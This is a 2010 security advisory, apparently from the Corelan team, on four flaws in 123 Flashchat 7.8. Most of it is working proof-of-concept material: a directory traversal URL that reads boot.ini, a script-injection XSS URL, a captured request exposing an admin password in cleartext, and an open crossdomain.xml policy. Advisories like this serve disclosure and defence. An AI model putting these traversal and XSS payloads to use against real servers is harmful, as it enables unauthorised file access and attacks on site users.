123 Flashchat Directory Traversal / Cross Site Scripting

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| http://www.corelan.be:8800 |  
| [email protected] |  
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|-------------------------------------------------[ EIP Hunters ]--|  
  
# Software : 123 Flashchat version 7.8 Remote  
# Author : Lincoln  
# Date : August 16, 2010  
# Reference : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-060  
# OS : Windows  
# Tested on : XP SP3 En (Virtual box)  
# Type of vuln : Multiple Remote Vulnerabilities  
# Greetz to : Corelan Security Team  
# http://www.corelan.be:8800/index.php/security/corelan-team-members/  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
#  
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.  
  
  
  
0x01 : Directory Traversal  
  
http://192.168.2.15:35555/%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini  
  
  
0x02 : XSS  
  
http://192.168.2.15:35555/index.html%27%22--%3E%3Cscript%3Ealert%28%22Corelan%22%29%3C/script%3E  
  
  
0x03 : Password sent via clear test  
  
http://127.0.0.1:35555/lite-chat-login.html  
  
GET /lite.swf HTTP/1.1  
Host: 192.168.2.15:35555  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5A  
ccept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Connection: keep-alive  
Referer: http://192.168.2.15:35555/lite_client.html?init_user=admin&init_password=mycoolpassword&init_room=1&init_skin=blue  
  
  
0x04 : Open Crossdomain Policy   
  
http://127.0.0.1:35555/crossdomain.xml   
  
Policy Rules: <allow-access-from domain="*" secure="false" />  
  
<policy-file-request/>.<cross-domain-policy><allow-access-from to-ports="51127" domain="*"></allow-access-from></cross-domain-policy>.  
  
"Open Policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions." Netsparker web app scanner  
  
  
  
  
  
  
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